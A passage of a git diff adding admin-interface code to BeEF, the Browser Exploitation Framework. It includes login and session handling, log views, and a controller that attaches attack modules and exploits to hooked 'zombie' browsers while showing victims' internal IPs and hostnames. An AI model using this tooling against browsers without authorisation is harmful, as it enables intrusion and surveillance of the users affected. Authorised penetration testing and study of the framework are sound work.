||||
AGENT_OPERA_IMG = 'opera.ico'
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
20
extensions/admin_ui/constants/icons.rb
Normal file
20
extensions/admin_ui/constants/icons.rb
Normal file
@@ -0,0 +1,20 @@
|
||||
module BeEF
|
||||
module Extension
|
||||
module AdminUI
|
||||
module Constants
|
||||
|
||||
module Icons
|
||||
|
||||
VERIFIED_NOT_WORKING_IMG = 'red.png'
|
||||
VERIFIED_USER_NOTIFY_IMG = 'orange.png'
|
||||
VERIFIED_WORKING_IMG = 'green.png'
|
||||
VERIFIED_UNKNOWN_IMG = 'grey.png'
|
||||
|
||||
MODULE_TARGET_IMG_PATH = 'media/images/icons/'
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
141
extensions/admin_ui/controllers/authentication/authentication.rb
Normal file
141
extensions/admin_ui/controllers/authentication/authentication.rb
Normal file
@@ -0,0 +1,141 @@
|
||||
module BeEF
|
||||
module Extension
|
||||
module AdminUI
|
||||
module Controllers
|
||||
|
||||
#
|
||||
# The authentication web page for BeEF.
|
||||
#
|
||||
class Authentication < BeEF::Extension::AdminUI::HttpController
|
||||
|
||||
#
|
||||
# Constructor
|
||||
#
|
||||
def initialize
|
||||
super({
|
||||
'paths' => {
|
||||
'/' => method(:index),
|
||||
'/login' => method(:login),
|
||||
'/logout' => method(:logout)
|
||||
}
|
||||
})
|
||||
|
||||
@session = BeEF::Extension::AdminUI::Session.instance
|
||||
end
|
||||
|
||||
# Function managing the index web page
|
||||
def index
|
||||
@headers['Content-Type']='text/html; charset=UTF-8'
|
||||
end
|
||||
|
||||
#
|
||||
# Function managing the login
|
||||
#
|
||||
def login
|
||||
|
||||
username = @params['username-cfrm'] || ''
|
||||
password = @params['password-cfrm'] || ''
|
||||
config = BeEF::Core::Configuration.instance
|
||||
@headers['Content-Type']='application/json; charset=UTF-8'
|
||||
ua_ip = @request.peeraddr[3] # get client ip address
|
||||
@body = '{ success : false }' # attempt to fail closed
|
||||
|
||||
# check if source IP address is permited to authenticate
|
||||
if not permited_source?(ua_ip)
|
||||
BeEF::Core::Logger.instance.register('Authentication', "IP source address (#{@request.peeraddr[3]}) attempted to authenticate but is not within permitted subnet.")
|
||||
return
|
||||
end
|
||||
|
||||
# check if under brute force attack
|
||||
time = Time.new
|
||||
if not timeout?(time)
|
||||
@session.set_auth_timestamp(time)
|
||||
return
|
||||
end
|
||||
|
||||
# check username and password
|
||||
if not (username.eql? config.get('beef.ui.username') and password.eql? config.get('beef.ui.password') )
|
||||
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.peeraddr[3]} has failed to authenticate in the application.")
|
||||
return
|
||||
end
|
||||
|
||||
# establish an authenticated session
|
||||
|
||||
# set up session and set it logged in
|
||||
@session.set_logged_in(ua_ip)
|
||||
|
||||
# create session cookie
|
||||
session_cookie_name = config.get('beef.http.session_cookie_name') # get session cookie name
|
||||
session_cookie = WEBrick::Cookie.new(session_cookie_name, @session.get_id)
|
||||
session_cookie.path = '/'
|
||||
session_cookie.httponly = true
|
||||
|
||||
# add session cookie to response header
|
||||
@headers['Set-Cookie'] = session_cookie.to_s
|
||||
|
||||
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.peeraddr[3]} has successfuly authenticated in the application.")
|
||||
@body = "{ success : true }"
|
||||
end
|
||||
|
||||
#
|
||||
# Function managing the logout
|
||||
#
|
||||
def logout
|
||||
|
||||
# test if session is unauth'd
|
||||
raise WEBrick::HTTPStatus::BadRequest, "invalid nonce" if not @session.valid_nonce?(@request)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "invalid session" if not @session.valid_session?(@request)
|
||||
|
||||
@headers['Content-Type']='application/json; charset=UTF-8'
|
||||
|
||||
# set the session to be log out
|
||||
@session.set_logged_out
|
||||
|
||||
# clean up UA and expire the session cookie
|
||||
config = BeEF::Core::Configuration.instance
|
||||
session_cookie_name = config.get('beef.http.session_cookie_name') # get session cookie name
|
||||
session_cookie = WEBrick::Cookie.new(session_cookie_name, "")
|
||||
session_cookie.path = '/'
|
||||
session_cookie.expires = Time.now
|
||||
session_cookie.httponly = true
|
||||
|
||||
# add (expired) session cookie to response header
|
||||
@headers['Set-Cookie'] = session_cookie.to_s
|
||||
|
||||
BeEF::Core::Logger.instance.register('Authentication', "User with ip #{@request.addr} has successfuly logged out.")
|
||||
@body = "{ success : true }"
|
||||
|
||||
end
|
||||
|
||||
#
|
||||
# Check the UI browser source IP is within the permitted subnet
|
||||
#
|
||||
def permited_source?(ip)
|
||||
# get permitted subnet
|
||||
config = BeEF::Core::Configuration.instance
|
||||
permitted_ui_subnet = config.get('beef.restrictions.permitted_ui_subnet')
|
||||
target_network = IPAddr.new(permitted_ui_subnet)
|
||||
|
||||
# test if ip within subnet
|
||||
return target_network.include?(ip)
|
||||
end
|
||||
|
||||
#
|
||||
# Brute Force Mitigation
|
||||
# Only one login request per login_fail_delay seconds
|
||||
#
|
||||
def timeout?(time)
|
||||
config = BeEF::Core::Configuration.instance
|
||||
login_fail_delay = config.get('beef.ui.login_fail_delay') # get fail delay
|
||||
|
||||
# test if the last login attempt was less then login_fail_delay seconds
|
||||
time - @session.get_auth_timestamp > login_fail_delay.to_i
|
||||
end
|
||||
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
36
extensions/admin_ui/controllers/authentication/index.html
Normal file
36
extensions/admin_ui/controllers/authentication/index.html
Normal file
@@ -0,0 +1,36 @@
|
||||
<html>
|
||||
<head>
|
||||
<title>BeEF Authentication</title>
|
||||
|
||||
<%= script_tag 'ext-base.js' %>
|
||||
<%= script_tag 'ext-all.js' %>
|
||||
<%= script_tag 'ui/authentication.js' %>
|
||||
|
||||
<%= stylesheet_tag 'ext-all.css' %>
|
||||
|
||||
<style>
|
||||
#centered {
|
||||
left:50%;
|
||||
top:50%;
|
||||
margin:-120px 0 0 -200px;
|
||||
position:fixed;
|
||||
}
|
||||
</style>
|
||||
|
||||
<!--[if IE]>
|
||||
<style>
|
||||
#centered {
|
||||
position:absolute;
|
||||
top: 50%;
|
||||
left: 50%;
|
||||
margin-top: -120px;
|
||||
margin-left: -200px;
|
||||
}
|
||||
</style>
|
||||
<![endif]-->
|
||||
</head>
|
||||
|
||||
<body bgcolor="#DEE7F6">
|
||||
<div id="centered"></div>
|
||||
</body>
|
||||
</html>
|
||||
76
extensions/admin_ui/controllers/logs/logs.rb
Normal file
76
extensions/admin_ui/controllers/logs/logs.rb
Normal file
@@ -0,0 +1,76 @@
|
||||
module BeEF
|
||||
module Extension
|
||||
module AdminUI
|
||||
module Controllers
|
||||
|
||||
class Logs < BeEF::Extension::AdminUI::HttpController
|
||||
|
||||
def initialize
|
||||
super({
|
||||
'paths' => {
|
||||
'/all.json' => method(:select_all_logs),
|
||||
'/zombie.json' => method(:select_zombie_logs)
|
||||
}
|
||||
})
|
||||
end
|
||||
|
||||
# Selects logs in the database and returns them in a JSON format.
|
||||
def select_all_logs
|
||||
|
||||
log = BeEF::Core::Models::Log.all()
|
||||
raise WEBrick::HTTPStatus::BadRequest, "log is nil" if log.nil?
|
||||
|
||||
# format log
|
||||
@body = logs2json(log)
|
||||
|
||||
end
|
||||
|
||||
# Selects the logs for a zombie
|
||||
def select_zombie_logs
|
||||
|
||||
# get params
|
||||
session = @params['session'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "session is nil" if session.nil?
|
||||
|
||||
zombie = BeEF::Core::Models::HookedBrowser.first(:session => session)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "zombie is nil" if zombie.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "zombie.id is nil" if zombie.id.nil?
|
||||
zombie_id = zombie.id
|
||||
|
||||
# get log
|
||||
log = BeEF::Core::Models::Log.all(:hooked_browser_id => zombie_id)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "log is nil" if log.nil?
|
||||
|
||||
# format log
|
||||
@body = logs2json(log)
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Returns a list of logs in JSON format.
|
||||
def logs2json(logs)
|
||||
logs_json = []
|
||||
count = logs.length
|
||||
output = '{success: false}'
|
||||
|
||||
logs.each do |log|
|
||||
logs_json << {
|
||||
'id' => log.id.to_i,
|
||||
'date' => log.date.to_s,
|
||||
'event' => log.event.to_s,
|
||||
'type' => log.type.to_s
|
||||
}
|
||||
end
|
||||
|
||||
# format output
|
||||
output = {'success' => 'true', 'count' => count, 'logs' => logs_json}.to_json if not logs_json.empty?
|
||||
|
||||
output
|
||||
end
|
||||
|
||||
end
|
||||
|
||||
end
|
||||
end
|
||||
end
|
||||
end
|
||||
589
extensions/admin_ui/controllers/modules/modules.rb
Normal file
589
extensions/admin_ui/controllers/modules/modules.rb
Normal file
@@ -0,0 +1,589 @@
|
||||
module BeEF
|
||||
module Extension
|
||||
module AdminUI
|
||||
module Controllers
|
||||
|
||||
#
|
||||
#
|
||||
#
|
||||
class Modules < BeEF::Extension::AdminUI::HttpController
|
||||
|
||||
BD = BeEF::Extension::Initialization::Models::BrowserDetails
|
||||
|
||||
def initialize
|
||||
super({
|
||||
'paths' => {
|
||||
'/select/commandmodules/all.json' => method(:select_all_command_modules),
|
||||
'/select/commandmodules/tree.json' => method(:select_command_modules_tree),
|
||||
'/select/commandmodule.json' => method(:select_command_module),
|
||||
'/select/command.json' => method(:select_command),
|
||||
'/select/command_results.json' => method(:select_command_results),
|
||||
'/select/zombie_summary.json' => method(:select_zombie_summary),
|
||||
'/commandmodule/commands.json' => method(:select_command_module_commands),
|
||||
'/commandmodule/new' => method(:attach_command_module),
|
||||
'/commandmodule/dynamicnew' => method(:attach_dynamic_command_module),
|
||||
'/commandmodule/reexecute' => method(:reexecute_command_module)
|
||||
}
|
||||
})
|
||||
|
||||
@session = BeEF::Extension::AdminUI::Session.instance
|
||||
end
|
||||
|
||||
# Returns a JSON array containing the summary for a selected zombie.
|
||||
def select_zombie_summary
|
||||
|
||||
# get the zombie
|
||||
zombie_session = @params['zombie_session'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Zombie session is nil" if zombie_session.nil?
|
||||
zombie = BeEF::Core::Models::HookedBrowser.first(:session => zombie_session)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Zombie is nil" if zombie.nil?
|
||||
|
||||
# init the summary grid
|
||||
summary_grid_hash = {
|
||||
'success' => 'true',
|
||||
'results' => []
|
||||
}
|
||||
|
||||
# set and add the return values for the page title
|
||||
page_title = BD.get(zombie_session, 'PageTitle')
|
||||
if not page_title.nil?
|
||||
encoded_page_title = CGI.escapeHTML(page_title)
|
||||
encoded_page_hash = { 'Page Title' => encoded_page_title }
|
||||
|
||||
page_name_row = {
|
||||
'category' => 'Browser Hook Initialisation',
|
||||
'data' => encoded_page_hash,
|
||||
'from' => 'Initialisation'
|
||||
}
|
||||
|
||||
summary_grid_hash['results'].push(page_name_row) # add the row
|
||||
end
|
||||
|
||||
# set and add the return values for the host name
|
||||
host_name = BD.get(zombie_session, 'HostName')
|
||||
if not host_name.nil?
|
||||
encoded_host_name = CGI.escapeHTML(host_name)
|
||||
encoded_host_name_hash = { 'Host Name' => encoded_host_name }
|
||||
|
||||
page_name_row = {
|
||||
'category' => 'Browser Hook Initialisation',
|
||||
'data' => encoded_host_name_hash,
|
||||
'from' => 'Initialisation'
|
||||
}
|
||||
|
||||
summary_grid_hash['results'].push(page_name_row) # add the row
|
||||
end
|
||||
|
||||
# set and add the return values for the os name
|
||||
os_name = BD.get(zombie_session, 'OsName')
|
||||
if not host_name.nil?
|
||||
encoded_os_name = CGI.escapeHTML(os_name)
|
||||
encoded_os_name_hash = { 'OS Name' => encoded_os_name }
|
||||
|
||||
page_name_row = {
|
||||
'category' => 'Browser Hook Initialisation',
|
||||
'data' => encoded_os_name_hash,
|
||||
'from' => 'Initialisation'
|
||||
}
|
||||
|
||||
summary_grid_hash['results'].push(page_name_row) # add the row
|
||||
end
|
||||
|
||||
# set and add the return values for the browser name
|
||||
browser_name = BD.get(zombie_session, 'BrowserName')
|
||||
if not browser_name.nil?
|
||||
friendly_browser_name = BeEF::Core::Constants::Browsers.friendly_name(browser_name)
|
||||
browser_name_hash = { 'Browser Name' => friendly_browser_name }
|
||||
|
||||
browser_name_row = {
|
||||
'category' => 'Browser Hook Initialisation',
|
||||
'data' => browser_name_hash,
|
||||
'from' => 'Initialisation'
|
||||
}
|
||||
|
||||
summary_grid_hash['results'].push(browser_name_row) # add the row
|
||||
end
|
||||
|
||||
# set and add the return values for the browser version
|
||||
browser_version = BD.get(zombie_session, 'BrowserVersion')
|
||||
if not browser_version.nil?
|
||||
encoded_browser_version = CGI.escapeHTML(browser_version)
|
||||
browser_version_hash = { 'Browser Version' => encoded_browser_version }
|
||||
|
||||
browser_version_row = {
|
||||
'category' => 'Browser Hook Initialisation',
|
||||
'data' => browser_version_hash,
|
||||
'from' => 'Initialisation'
|
||||
}
|
||||
|
||||
summary_grid_hash['results'].push(browser_version_row) # add the row
|
||||
end
|
||||
|
||||
# set and add the list of plugins installed in the browser
|
||||
browser_plugins = BD.get(zombie_session, 'BrowserPlugins')
|
||||
if not browser_plugins.nil? and not browser_plugins.empty?
|
||||
encoded_browser_plugins = CGI.escapeHTML(browser_plugins)
|
||||
encoded_browser_plugins_hash = { 'Browser Plugins' => encoded_browser_plugins }
|
||||
|
||||
page_name_row = {
|
||||
'category' => 'Browser Hook Initialisation',
|
||||
'data' => encoded_browser_plugins_hash,
|
||||
'from' => 'Initialisation'
|
||||
}
|
||||
|
||||
summary_grid_hash['results'].push(page_name_row) # add the row
|
||||
end
|
||||
|
||||
# set and add the internal ip address
|
||||
internal_ip = BD.get(zombie_session, 'InternalIP')
|
||||
if not internal_ip.nil?
|
||||
encoded_internal_ip = CGI.escapeHTML(internal_ip)
|
||||
encoded_internal_ip_hash = { 'Internal IP' => encoded_internal_ip }
|
||||
|
||||
page_name_row = {
|
||||
'category' => 'Browser Hook Initialisation',
|
||||
'data' => encoded_internal_ip_hash,
|
||||
'from' => 'Initialisation'
|
||||
}
|
||||
|
||||
summary_grid_hash['results'].push(page_name_row) # add the row
|
||||
end
|
||||
|
||||
# set and add the internal hostname
|
||||
internal_hostname = BD.get(zombie_session, 'InternalHostname')
|
||||
if not internal_hostname.nil?
|
||||
encoded_internal_hostname = CGI.escapeHTML(internal_hostname)
|
||||
encoded_internal_hostname_hash = { 'Internal Hostname' => encoded_internal_hostname }
|
||||
|
||||
page_name_row = {
|
||||
'category' => 'Browser Hook Initialisation',
|
||||
'data' => encoded_internal_hostname_hash,
|
||||
'from' => 'Initialisation'
|
||||
}
|
||||
|
||||
summary_grid_hash['results'].push(page_name_row) # add the row
|
||||
end
|
||||
|
||||
@body = summary_grid_hash.to_json
|
||||
end
|
||||
|
||||
# Returns the list of all command_modules in a JSON format
|
||||
def select_all_command_modules
|
||||
#modules = BeEF::Module.loaded
|
||||
@body = command_modules2json(Dir["#{$root_dir}/modules/**/*.rb"])
|
||||
end
|
||||
|
||||
# Returns the list of all command_modules for a TreePanel in the interface.
|
||||
def select_command_modules_tree
|
||||
command_modules_tree_array = []
|
||||
command_modules_categories = []
|
||||
|
||||
# get an array of all the command modules in the database
|
||||
db_command_modules = BeEF::Core::Models::CommandModule.all(:order => [:id.asc])
|
||||
raise WEBrick::HTTPStatus::BadRequest, "db_command_modules is nil" if db_command_modules.nil?
|
||||
|
||||
db_command_modules.each {|command_module_db_details|
|
||||
|
||||
# get the hooked browser session id and set it in the command module
|
||||
hook_session_id = @params['zombie_session'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "hook_session_id is nil" if hook_session_id.nil?
|
||||
|
||||
# create an instance of the comand module, bad way of doing it, but have to until dynamic loadding is merged
|
||||
command_module_name = command_module_db_details.path.split('/').reverse[1]
|
||||
#command_module_name = File.basename command_module_db_details.path, '.rb' # get the name
|
||||
command_module = BeEF::Core::Command.const_get(command_module_name.capitalize).new
|
||||
command_module.session_id = hook_session_id
|
||||
command_module.update_info(command_module_db_details.id) if(command_module_db_details.path.match(/^Dynamic/))
|
||||
|
||||
|
||||
# set command module treeview display properties
|
||||
command_module_friendly_name = command_module.info['Name'].downcase
|
||||
command_module_category = command_module.info['Category'].downcase
|
||||
|
||||
# create url path and file for the command module icon
|
||||
command_module_icon_path = BeEF::Extension::AdminUI::Constants::Icons::MODULE_TARGET_IMG_PATH # add icon path
|
||||
case command_module.verify_target() # select the correct icon for the command module
|
||||
when BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING
|
||||
command_module_icon_path += BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_NOT_WORKING_IMG
|
||||
command_module_status = BeEF::Core::Constants::CommandModule::VERIFIED_NOT_WORKING
|
||||
when BeEF::Core::Constants::CommandModule::VERIFIED_USER_NOTIFY
|
||||
command_module_icon_path += BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_USER_NOTIFY_IMG
|
||||
command_module_status = BeEF::Core::Constants::CommandModule::VERIFIED_USER_NOTIFY
|
||||
when BeEF::Core::Constants::CommandModule::VERIFIED_WORKING
|
||||
command_module_icon_path += BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_WORKING_IMG
|
||||
command_module_status = BeEF::Core::Constants::CommandModule::VERIFIED_WORKING
|
||||
when BeEF::Core::Constants::CommandModule::VERIFIED_UNKNOWN
|
||||
command_module_icon_path += BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_UNKNOWN_IMG
|
||||
command_module_status = BeEF::Core::Constants::CommandModule::VERIFIED_UNKNOWN
|
||||
else
|
||||
command_module_icon_path += BeEF::Extension::AdminUI::Constants::Icons::VERIFIED_UNKNOWN_IMG
|
||||
command_module_status = BeEF::Core::Constants::CommandModule::VERIFIED_UNKNOWN
|
||||
end
|
||||
|
||||
# construct the category branch if it doesn't exist for the command module tree
|
||||
if not command_modules_categories.include? command_module_category
|
||||
command_modules_categories.push(command_module_category) # flag that the categor has been added
|
||||
command_modules_tree_array.push({ # add the branch structure
|
||||
'text' => command_module_category,
|
||||
'cls' => 'folder',
|
||||
'children' => []
|
||||
})
|
||||
end
|
||||
|
||||
# construct leaf node for the command module tree
|
||||
leaf_node = {
|
||||
'text' => command_module_friendly_name,
|
||||
'leaf' => true,
|
||||
'icon' => command_module_icon_path,
|
||||
'status' => command_module_status,
|
||||
'id' => command_module_db_details.id
|
||||
}
|
||||
|
||||
# add the node to the branch in the command module tree
|
||||
command_modules_tree_array.each {|x|
|
||||
if x['text'].eql? command_module_category
|
||||
x['children'].push( leaf_node )
|
||||
break
|
||||
end
|
||||
}
|
||||
|
||||
}
|
||||
|
||||
# sort the parent array nodes
|
||||
command_modules_tree_array.sort! {|a,b| a['text'] <=> b['text']}
|
||||
|
||||
# sort the children nodes by status then alpha
|
||||
command_modules_tree_array.each {|x|
|
||||
x['children'] = x['children'].sort_by {|a| [a['status'], a['text']]}
|
||||
}
|
||||
|
||||
# append the number of command modules so the branch name results in: "<category name> (num)"
|
||||
command_modules_tree_array.each {|command_module_branch|
|
||||
num_of_command_modules = command_module_branch['children'].length
|
||||
command_module_branch['text'] = command_module_branch['text'] + " (" + num_of_command_modules.to_s() + ")"
|
||||
}
|
||||
|
||||
# return a JSON array of hashes
|
||||
@body = command_modules_tree_array.to_json
|
||||
end
|
||||
|
||||
# Returns the absolute path of the rb file mapped to the id in the database
|
||||
def get_command_module_path(command_module_id)
|
||||
|
||||
# get command_module from database
|
||||
raise WEBrick::HTTPStatus::BadRequest, "command_module id is nil" if command_module_id.nil?
|
||||
command_module = BeEF::Core::Models::CommandModule.first(:id => command_module_id)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Invalid command_module id" if command_module.nil?
|
||||
|
||||
# Dynamic modules won't have a real path
|
||||
return command_module.path if (command_module.path.match(/^Dynamic/))
|
||||
|
||||
# construct command_module path
|
||||
absolute_command_module_path = $root_dir+File::SEPARATOR+command_module.path
|
||||
raise WEBrick::HTTPStatus::BadRequest, "command_module file does not exist" if not File.exists?(absolute_command_module_path)
|
||||
|
||||
absolute_command_module_path
|
||||
end
|
||||
|
||||
|
||||
# Returns the inputs definition of an command_module.
|
||||
def select_command_module
|
||||
|
||||
# get command_module id
|
||||
command_module_id = @params['command_module_id'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "command_module_id is nil" if command_module_id.nil?
|
||||
|
||||
# get the command_module path
|
||||
absolute_command_module_path = get_command_module_path(command_module_id)
|
||||
|
||||
# check if the request relates to a dynamic module
|
||||
if(absolute_command_module_path.match(/^Dynamic/))
|
||||
# get command_module id
|
||||
payload_name = @params['payload_name'] || nil
|
||||
|
||||
if not payload_name.nil?
|
||||
@body = dynamic_payload2json(command_module_id, payload_name)
|
||||
else
|
||||
@body = dynamic_modules2json(command_module_id);
|
||||
end
|
||||
else
|
||||
@body = command_modules2json([absolute_command_module_path]);
|
||||
end
|
||||
end
|
||||
|
||||
# Returns the list of commands for an command_module
|
||||
def select_command_module_commands
|
||||
commands = []
|
||||
i=0
|
||||
|
||||
# get params
|
||||
zombie_session = @params['zombie_session'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Zombie session is nil" if zombie_session.nil?
|
||||
command_module_id = @params['command_module_id'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "command_module id is nil" if command_module_id.nil?
|
||||
# validate nonce
|
||||
nonce = @params['nonce'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce
|
||||
|
||||
# get the browser id
|
||||
zombie = Z.first(:session => zombie_session)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Zombie is nil" if zombie.nil?
|
||||
zombie_id = zombie.id
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Zombie id is nil" if zombie_id.nil?
|
||||
|
||||
C.all(:command_module_id => command_module_id, :hooked_browser_id => zombie_id).each do |command|
|
||||
commands.push({
|
||||
'id' => i,
|
||||
'object_id' => command.id,
|
||||
'creationdate' => Time.at(command.creationdate.to_i).strftime("%Y-%m-%d %H:%M").to_s,
|
||||
'label' => command.label
|
||||
})
|
||||
i+=1
|
||||
end
|
||||
|
||||
@body = {
|
||||
'success' => 'true',
|
||||
'commands' => commands}.to_json
|
||||
|
||||
end
|
||||
|
||||
# Attaches an command_module to a zombie.
|
||||
def attach_command_module
|
||||
|
||||
definition = {}
|
||||
|
||||
# get params
|
||||
zombie_session = @params['zombie_session'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Zombie id is nil" if zombie_session.nil?
|
||||
command_module_id = @params['command_module_id'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "command_module id is nil" if command_module_id.nil?
|
||||
# validate nonce
|
||||
nonce = @params['nonce'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce
|
||||
|
||||
@params.keys.each {|param|
|
||||
raise WEBrick::HTTPStatus::BadRequest, "invalid key param string" if not BeEF::Filters.has_valid_param_chars?(param)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "first char is num" if BeEF::Filters.first_char_is_num?(param)
|
||||
definition[param[4..-1]] = params[param]
|
||||
oc = BeEF::Core::Models::OptionCache.first_or_create(:name => param[4..-1])
|
||||
oc.value = params[param]
|
||||
oc.save
|
||||
}
|
||||
|
||||
zombie = Z.first(:session => zombie_session)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Zombie is nil" if zombie.nil?
|
||||
zombie_id = zombie.id
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Zombie id is nil" if zombie_id.nil?
|
||||
|
||||
C.new( :data => definition.to_json,
|
||||
:hooked_browser_id => zombie_id,
|
||||
:command_module_id => command_module_id,
|
||||
:creationdate => Time.new.to_i
|
||||
).save
|
||||
|
||||
@body = '{success : true}'
|
||||
end
|
||||
|
||||
# Re-execute an command_module to a zombie.
|
||||
def reexecute_command_module
|
||||
|
||||
# get params
|
||||
command_id = @params['command_id'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Command id is nil" if command_id.nil?
|
||||
command = BeEF::Core::Models::Command.first(:id => command_id.to_i) || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Command is nil" if command.nil?
|
||||
# validate nonce
|
||||
nonce = @params['nonce'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce
|
||||
|
||||
command.has_run = false#TODO: there's a bug here. Need to recode this function.
|
||||
command.save
|
||||
|
||||
@body = '{success : true}'
|
||||
end
|
||||
|
||||
def attach_dynamic_command_module
|
||||
|
||||
definition = {}
|
||||
|
||||
# get params
|
||||
zombie_session = @params['zombie_session'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Zombie id is nil" if zombie_session.nil?
|
||||
command_module_id = @params['command_module_id'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "command_module id is nil" if command_module_id.nil?
|
||||
# validate nonce
|
||||
nonce = @params['nonce'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "nonce is nil" if nonce.nil?
|
||||
raise WEBrick::HTTPStatus::BadRequest, "nonce incorrect" if @session.get_nonce != nonce
|
||||
|
||||
@params.keys.each {|param|
|
||||
raise WEBrick::HTTPStatus::BadRequest, "invalid key param string" if not BeEF::Filters.has_valid_param_chars?(param)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "first char is num" if BeEF::Filters.first_char_is_num?(param)
|
||||
definition[param[4..-1]] = params[param]
|
||||
oc = BeEF::Core::Models::OptionCache.first_or_create(:name => param[4..-1])
|
||||
oc.value = params[param]
|
||||
oc.save
|
||||
}
|
||||
|
||||
zombie = Z.first(:session => zombie_session)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Zombie is nil" if zombie.nil?
|
||||
zombie_id = zombie.id
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Zombie id is nil" if zombie_id.nil?
|
||||
|
||||
mod = BeEF::Core::Models::CommandModule.first(:id => command_module_id)
|
||||
|
||||
# if the module id is not in the database return false
|
||||
return {'success' => 'false'}.to_json if(not mod)
|
||||
|
||||
# the path will equal Dynamic/<type> and this will get just the type
|
||||
dynamic_type = mod.path.split("/").last
|
||||
e = BeEF::Core::Command.const_get(dynamic_type.capitalize).new
|
||||
e.update_info(command_module_id)
|
||||
e.update_data()
|
||||
ret = e.launch_exploit(definition)
|
||||
|
||||
return {'success' => 'false'}.to_json if ret['result'] != 'success'
|
||||
|
||||
basedef = {}
|
||||
basedef['sploit_url'] = ret['uri']
|
||||
|
||||
C.new( :data => basedef.to_json,
|
||||
:hooked_browser_id => zombie_id,
|
||||
:command_module_id => command_module_id,
|
||||
:creationdate => Time.new.to_i
|
||||
).save
|
||||
|
||||
@body = '{success : true}'
|
||||
end
|
||||
|
||||
# Returns the results of a command
|
||||
def select_command_results
|
||||
results = []
|
||||
|
||||
# get params
|
||||
command_id = @params['command_id'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Command id is nil" if command_id.nil?
|
||||
command = BeEF::Core::Models::Command.first(:id => command_id.to_i) || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Command is nil" if command.nil?
|
||||
|
||||
# get command_module
|
||||
command_module = BeEF::Core::Models::CommandModule.first(:id => command.command_module_id)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "command_module is nil" if command_module.nil?
|
||||
command_module_name = command_module.path.split('/').reverse[1]
|
||||
#command_module_name = File.basename command_module.path, '.rb'
|
||||
|
||||
resultsdb = BeEF::Core::Models::Result.all(:command_id => command_id)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Command id result is nil" if resultsdb.nil?
|
||||
|
||||
resultsdb.each{ |result| results.push({'date' => result.date, 'data' => JSON.parse(result.data)}) }
|
||||
|
||||
@body = {
|
||||
'success' => 'true',
|
||||
'command_module_name' => command_module_name,
|
||||
'command_module_id' => command_module.id,
|
||||
'results' => results}.to_json
|
||||
|
||||
end
|
||||
|
||||
# Returns the definition of a command.
|
||||
# In other words it returns the command that was used to command_module a zombie.
|
||||
def select_command
|
||||
|
||||
# get params
|
||||
command_id = @params['command_id'] || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Command id is nil" if command_id.nil?
|
||||
command = BeEF::Core::Models::Command.first(:id => command_id.to_i) || nil
|
||||
raise WEBrick::HTTPStatus::BadRequest, "Command is nil" if command.nil?
|
||||
|
||||
command_module = BeEF::Core::Models::CommandModule.first(:id => command.command_module_id)
|
||||
raise WEBrick::HTTPStatus::BadRequest, "command_module is nil" if command_module.nil?
|
||||
command_module_name = command_module.path.split('/').reverse[1]
|
||||
#command_module_name = File.basename command_module.path, '.rb'
|
||||
|
||||
e = BeEF::Core::Command.const_get(command_module_name.capitalize).new
|
||||
|
||||
@body = {
|
||||
'success' => 'true',
|
||||
'command_module_name' => command_module_name,
|
||||
'command_module_id' => command_module.id,
|
||||
'data' => JSON.parse(command.data),
|
||||
'definition' => JSON.parse(e.to_json)
|
||||
}.to_json
|
||||
|
||||
end
|
||||
|
||||
private
|
||||
|
||||
# Takes a list of command_modules and returns them as a JSON array
|
||||
def command_modules2json(command_modules)
|
||||
command_modules_json = {}
|
||||
i = 1
|
||||
|
||||
command_modules.each do |command_module|
|
||||
next if not File.exists?(command_module)
|
||||
|
||||
e = command_module.split('/').reverse[1]
|
||||
